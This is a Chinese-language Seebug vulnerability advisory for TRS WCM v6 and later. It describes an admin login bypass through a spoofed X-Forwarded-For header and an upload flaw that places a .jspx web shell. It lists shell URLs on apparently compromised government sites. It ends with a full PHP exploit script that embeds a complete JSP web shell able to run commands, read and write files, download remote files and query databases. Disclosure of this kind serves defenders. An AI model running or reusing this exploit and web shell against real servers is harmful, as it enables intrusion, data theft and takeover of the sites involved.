TRSWCM 后台权限绕过以及GETSHELL漏洞

2014-06-06T00:00:00
ID SSV:94687
Type seebug
Reporter Root
Modified 2014-06-06T00:00:00

Description

简要描述:

TRS WCM大于v6版本中存在此漏洞,v5.X版本不存在。无需登录。

详细说明:

注:该漏洞目前影响大量站点,担心厂商忽略导致漏洞细节提前曝光,请管理员同学转至cncert国家互联网应急中心进行处理,多谢。 在/WEB-INF/web.xml中代码如下:

<servlet> <servlet-name>govcontroller</servlet-name> <servlet-class>com.trs.webframework.controler.servlet.NoLoginServiceControler</servlet-class> <init-param> <param-name>AllowIP</param-name> <param-value>127.0.0.1</param-value> </init-param> <init-param> <param-name>CurrUser</param-name> <param-value>admin</param-value> </init-param> <init-param> <param-name>RedirectURI</param-name> <param-value>/center.do</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>govcontroller</servlet-name> <url-pattern>/govcenter.do</url-pattern> </servlet-mapping> <servlet> <servlet-name>govfileuploader</servlet-name> <servlet-class>com.trs.webframework.controler.servlet.NoLoginServiceControler</servlet-class> <init-param> <param-name>AllowIP</param-name> <param-value>127.0.0.1</param-value> </init-param> <init-param> <param-name>CurrUser</param-name> <param-value>admin</param-value> </init-param> <init-param> <param-name>RedirectURI</param-name> <param-value>/fileuploader.do</param-value> </init-param> </servlet> <servlet-mapping> <servlet-name>govfileuploader</servlet-name> <url-pattern>/govfileuploader.do</url-pattern> </servlet-mapping>

程序配置了两个Servlet一个是govcontroller一个是govfileuploader,打开它们对应的class文件:

/WEB-INF/lib/trswcmv6/com/trs/webframework/controler/servlet/NoLoginServiceControler.class

反编译之后的核心JAVA代码如下:

protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse) throws ServletException, IOException { String s = httpservletrequest.getHeader("X-Forwarded-For"); if (CMyString.isEmpty(s)) s = httpservletrequest.getRemoteAddr(); boolean flag = isAllowIP(s); if (!flag) { …………//IP不匹配则出错处理,省略代码。 } …………//IP匹配正确则登录成功,省略代码 catch (ServletException servletexception) { throw servletexception; } finally { ContextHelper.clear(); httpservletrequest.getSession().removeAttribute("WCM52.loginUser"); } } private boolean isAllowIP(String s) { if (m_pIPs == null) return false; String as[] = s.split("\\."); for (int i = 0; i < m_pIPs.length; i++) { String as1[] = m_pIPs[i].split("\\."); if (as1.length != as.length) continue; boolean flag = false; int j = 0; do { if (j >= as.length) break; if (!as1[j].equals("*") && !as[j].equals(as1[j])) { flag = true; break; } j++; } while (true); if (!flag) return true; } return false; } public void init() throws ServletException { String s = getInitParameter("AllowIP"); if (s != null) m_pIPs = s.split(","); s = getInitParameter("CurrUser"); if (s != null && (s = s.trim()).length() > 0) m_sUserName = s; m_sRedirectURI = CMyString.showNull(getInitParameter("RedirectURI"), "/center.do"); if (!m_sRedirectURI.startsWith("/")) m_sRedirectURI = "/" + m_sRedirectURI; super.init(); }

从上面的代码不难看出,程序先是使用httpservletrequest.getHeader()获取HTTP请求头中X-Forwarded-For头的数值,然后再调用isAllowIP(),比对init()方法从web.xml中获取到的AllowIP(这里是127.0.0.1)与X-Forwarded-For的值是否相同,如果不同则程序出错退出,如果相同则创建Session登录成功。 一句话总结就是如果HTTP请求头中X-Forwarded-For的值为127.0.0.1则程序认为当前是以admin身份登录的能够调用center.do与fileuploader.do。 下面使用govcenter.do修改登录用户的密码等信息,首先查询用户的userid:

<img src="https://images.seebug.org/upload/201406/06093102c182dcd8032f82079b8abdfe08ca0e07.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

从图中可以看到test1用户对应的userid为2密码为621EE7AEAFA2281 下面将userid为2的用户名密码等信息都修改掉,如下图:

<img src="https://images.seebug.org/upload/201406/060931449f3575ca163ea454895b16796bed34f2.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

再次查询hitest用户的信息可以看到userid仍然为2,但是账户与密码都被更新了,如下图:

<img src="https://images.seebug.org/upload/201406/060932528079469059fc4220f1ed78bd4e5b5e84.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

第二处漏洞是govfileuploader.do的上传漏洞,其对应的class文件为:

/WEB-INF/lib/trswcmv6/com/trs/webframework/controler/servlet/FileUploader.class

经过反编译之后其核心JAVA代码为:

protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse) { byte abyte0[]; ………… abyte0 = StreamBuddy.readFromInputStream(httpservletrequest.getInputStream()); …… try { String s = null; String s1 = httpservletrequest.getHeader("FileExt"); String s2 = httpservletrequest.getHeader("FileFlag"); if (CMyString.isEmpty(s2)) s2 = "U0"; FilesMan filesman = FilesMan.getFilesMan(); String s3 = null; String s4 = null; s3 = filesman.getNextFilePathName(s2, s1); CMyFileX.writeFile(s3, abyte0); s4 = CMyFile.extractFileName(s3, "/"); s4 = CMyFile.extractFileName(s4, "\\"); java.io.PrintWriter printwriter1 = httpservletresponse.getWriter(); s = s4; if (s == null) printwriter1.write(""); else if (s instanceof String) printwriter1.write("&lt;result&gt;&lt;ShowName&gt;&lt;![CDATA[" + CMyString.encodeForCDATA((String)s) + "]]&gt;&lt;/ShowName&gt;&lt;/result&gt;"); else printwriter1.write(I18NMessage.get(com.trs.webframework.controler.servlet.FileUploader.class, "FileUploader.label1", "&lt;result&gt;不支持处理的类型[") + s.getClass() + "]!&lt;/result&gt;");

程序使用httpservletrequest.getHeader()方法获取FileExt以及FileFlag的值,然后调用filesman.getNextFilePathName(s2, s1)生成文件名,这里需要注意的是s2即FileFlag的值为U0、P0、W0、TM、LP、SF。它们分别对应服务器上保存文件的目录,其中TM、LP、W0、LV对应的路径在TRS Tomcat默认配置中恰好是四个虚拟目录。 其对应的关系如下:

标识 路径 TM $TRSHOME$\TRSWCMV65\WCMData\template\ LP $TRSHOME$\TRSWCMV65\WCMData\pub\ W0 $TRSHOME$\TRSWCMV65\WCMData\webpic\ LV $TRSHOME$\TRSWCMV65\WCMData\preview\

tomcat配置如下:

<img src="https://images.seebug.org/upload/201406/06093558d047ba0d1360339f48e12d357a1f69db.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">

打开其中的E:\TRS1\TRSWCMV65\WCMData\webpic\WEB-INF\web.xml内容如下:

<img src="https://images.seebug.org/upload/201406/060959302bc5bd15909aeecf5c2c0e701648354d.png" alt="8.png" width="600" onerror="javascript:errimg(this);">

程序设置的拒绝访问的filter只针对jsp后缀,而jspx后缀未进行限定,因此在上传是将控制保存文件后缀的FileExt设置为.jspx即可,完整上传包如下:

<img src="https://images.seebug.org/upload/201406/0609471978594a9253308d0ad76e4ca7f16f0b48.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201406/0609504667db511870fbcff8a67de1810ba09e60.png" alt="7.png" width="600" onerror="javascript:errimg(this);">

列几个受影响的站点: http://wcm.ccgp.gov.cn/webpic/W0201406/W020140606/W020140606076282027606.jspx http://220.191.232.71/webpic/W0201406/W020140606/W020140606373583125176.jspx http://wcm.ln.gov.cn/webpic/W0201406/W020140606/W020140606365626982530.jspx

漏洞证明:

同上 附一个GETSHELL EXP,仅供测试:

``` <?php $host=@$argv[1]; $port=@$argv[2]; $wcmpath=@$argv[3]; if(eregi("https://",$host)) { $host=explode("https://",$host); $host=$host[1]; $pre="https://"; $host=str_replace("/","",$host); //echo $host."\r\n"; } if(eregi("http://",$host)) { $host=explode("http://",$host); $host=$host[1]; $pre="http://"; $host=str_replace("/","",$host); //echo $host."\r\n"; } if(!$host or !$port or !$wcmpath or !@$pre or !is_numeric($port)) exit(" ================================================= TRS WCM>=6 GETSHELL ================================================= Usage: php wcm.php host port wcmpath Example: php wcm.php http://www.qq.com 80 wcm Example: php wcm.php https://www.qq.com 8000 wcm ================================================= "); //preg_match(); function http_send($host, $port, $packet) { $sock = fsockopen($host, $port); while (!$sock) {

    $sock = fsockopen($host, $port);
}
fputs($sock, $packet);
while (!feof($sock)) @$resp .= fread($sock, 1024);
fclose($sock);
//print $resp;
return $resp;

} $data='<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"><jsp:directive.page contentType="text/html" pageEncoding="UTF-8" /><jsp:directive.page import="java.io."/><jsp:directive.page import="java.util."/><jsp:directive.page import="java.net."/><jsp:directive.page import="java.sql."/><jsp:directive.page import="java.text."/><jsp:declaration>String Pwd="023320a1232222a";String cs="UTF-8";String EC(String s)throws Exception{return new String(s.getBytes("ISO-8859-1"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim());if(x[1].indexOf("jdbc:oracle")!=-1){return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF="";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0; i<l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ +=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");}else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k < x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h="0123456789ABCDEF";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i<d.length();i+=2){os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j<z.length; j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+"\r\n");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split("\r\n");ResultSet r=c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null,"%",new String[]{"TABLE"});while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i <=n; i++){sb.append(d.getColumnName(i)+"\t|\t");}sb.append("\r\n");if(q.indexOf("--f:")!=-1){File file=new File(p);if(q.indexOf("-to:")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i<=n;i++){if(q.indexOf("--f:")!=-1){bw.write(r.getObject(i)+""+"\t");bw.flush();}else{sb.append(r.getObject(i)+""+"\t|\t");}}if(bw!=null){bw.newLine();}sb.append("\r\n");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n");}catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();}</jsp:declaration><jsp:scriptlet>cs=request.getParameter("z0")!=null?request.getParameter("z0")+"":cs;response.setContentType("text/html");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer("");try{String Z=EC(request.getParameter(Pwd)+"");String z1=EC(request.getParameter("z1")+"");String z2=EC(request.getParameter("z2")+"");sb.append("->"+"|");String s=request.getSession().getServletContext().getRealPath("/");if(Z.equals("A")){sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}}else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);}else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");}else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);}else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\","/")+"images/");}}catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString());</jsp:scriptlet></jsp:root>'; function postdata($host,$port,$wcmpath,$data) { $packet = "POST /{$wcmpath}/govfileuploader.do HTTP/1.0\r\n"; $packet .= "Host: {$host}:{$port}\r\n"; $packet .= "FileExt: jspx\r\n"; $packet .= "FileFlag: W0\r\n"; $packet .= "X-Forwarded-For: 127.0.0.1\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n\r\n"; $packet .= $data." "; return $packet; } $packet=postdata($host,$port,$wcmpath,$data); //echo $packet."\r\n"; $html=http_send($host,$port,$packet); //echo $html."\r\n"; if(!eregi("HTTP/1.1 404 Not Found",$html)) { if(strpos($html,"jspx")) { $patten="/A[(.?)]]/i"; preg_match($patten,$html,$url); if(strpos($url[1],".jspx")) { $shell=$pre.$host.":{$port}/webpic/".substr($url[1],0,8)."/".substr($url[1],0,10)."/".$url[1]; echo "Getshell Successed!\r\n"; echo $shell."\r\n"; } else echo "Failed!"; } else exit("Failed!"); } ?> ```